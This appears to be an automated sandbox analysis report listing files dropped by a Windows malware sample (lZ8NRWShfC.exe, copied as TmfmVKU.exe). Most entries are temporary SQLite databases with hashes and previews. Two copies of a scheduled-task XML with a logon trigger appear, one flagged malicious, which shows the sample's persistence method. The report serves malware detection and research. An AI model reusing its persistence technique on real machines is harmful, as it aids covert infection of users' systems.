Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\tmp3C64.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3C74.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3C85.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3CB5.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D1.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4E2.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4F2.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4F3.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp504.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5089.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp509A.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp50BA.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp50CB.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp50DB.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp515.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp516.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp51ED.tmp

Download File

Process:	C:\Users\user\Desktop\lZ8NRWShfC.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.112988249221591
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaHxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTuv
MD5:	9755CB91C030592D84AA155F7BD02EEA
SHA1:	6F775CF126484313B42161BDD7BB95620E29D975
SHA-256:	6D26F6304937BAB14A555D12678AB6B777C8679120DC1E688D8C0AF98394E9E3
SHA-512:	13A9CC60C3361C20EB8AEC8BDA207DB25CC13BD82FB705C43EAE1F81297CD6FC8186537D478EEC2483E833CC8B81A85F9BCED357335FB3E18ED0FF13A5807BA6
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp526.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7376.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7386.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp73A6.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp73B7.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp73C8.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp76F9.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\TmfmVKU.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	5.112988249221591
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaHxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTuv
MD5:	9755CB91C030592D84AA155F7BD02EEA
SHA1:	6F775CF126484313B42161BDD7BB95620E29D975
SHA-256:	6D26F6304937BAB14A555D12678AB6B777C8679120DC1E688D8C0AF98394E9E3
SHA-512:	13A9CC60C3361C20EB8AEC8BDA207DB25CC13BD82FB705C43EAE1F81297CD6FC8186537D478EEC2483E833CC8B81A85F9BCED357335FB3E18ED0FF13A5807BA6
Malicious:	false
